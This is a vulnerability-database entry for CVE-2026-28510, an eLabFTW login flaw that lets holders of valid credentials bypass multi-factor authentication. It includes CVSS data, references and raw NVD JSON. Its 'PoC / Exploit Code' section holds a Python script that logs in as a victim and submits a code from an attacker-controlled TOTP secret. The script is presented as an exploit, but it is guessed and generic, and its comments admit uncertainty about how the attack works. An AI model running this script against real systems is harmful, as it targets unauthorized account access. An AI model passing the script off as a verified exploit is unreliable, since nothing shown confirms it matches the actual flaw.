Security Vulnerability Report
中文
CVE-2026-28510 CVSS 5.9 MEDIUM

CVE-2026-28510

Published: 2026-05-05 13:16:29
Last Modified: 2026-05-12 13:58:23

Description

eLabFTW is an open source electronic lab notebook. In elabftw versions through 5.4.1, the login flow did not reliably preserve the multi-factor authentication state across authentication steps. Under certain conditions, an attacker with valid primary credentials could complete authentication with an attacker-controlled TOTP secret and bypass the additional factor. This could result in unauthorized account access. This issue is fixed in version 5.4.2.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:elabftw:elabftw:*:*:*:*:*:*:*:* - VULNERABLE
eLabFTW <= 5.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import pyotp # Target configuration target_url = "https://target-elabftw-instance.com" login_endpoint = f"{target_url}/login" mfa_endpoint = f"{target_url}/api/v2/mfa/verify" # Victim credentials (Attacker must have these first) victim_username = "victim_user" victim_password = "victim_password" # Attacker's controlled TOTP secret attacker_secret = "JBSWY3DPEHPK3PXP" totp = pyotp.TOTP(attacker_secret) current_code = totp.now() session = requests.Session() # Step 1: Perform initial login with primary credentials login_payload = { "username": victim_username, "password": victim_password } response = session.post(login_endpoint, data=login_payload) if response.status_code == 200: # Step 2: Exploit the MFA bypass logic # The vulnerability allows submitting a TOTP code generated from an attacker-controlled secret # because the application fails to preserve the correct MFA state binding. mfa_payload = { "code": current_code, # Depending on the specific implementation, the attacker might also need to supply # the secret or the session might accept any valid TOTP format due to state loss. } mfa_response = session.post(mfa_endpoint, json=mfa_payload) if mfa_response.status_code == 200: print("[+] Exploit successful: MFA bypassed.") else: print("[-] Exploit failed.") else: print("[-] Initial login failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-28510", "sourceIdentifier": "[email protected]", "published": "2026-05-05T13:16:28.667", "lastModified": "2026-05-12T13:58:22.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "eLabFTW is an open source electronic lab notebook. In elabftw versions through 5.4.1, the login flow did not reliably preserve the multi-factor authentication state across authentication steps. Under certain conditions, an attacker with valid primary credentials could complete authentication with an attacker-controlled TOTP secret and bypass the additional factor. This could result in unauthorized account access. This issue is fixed in version 5.4.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.7, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-302"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elabftw:elabftw:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.4.2", "matchCriteriaId": "593B8947-A7C6-4FA6-8D3F-E6001CB0C8E5"}]}]}], "references": [{"url": "https://github.com/elabftw/elabftw/commit/8b7a575aef128870861187eaa2b2f0f08654ecf9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/elabftw/elabftw/security/advisories/GHSA-x5wv-c9q4-fj65", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}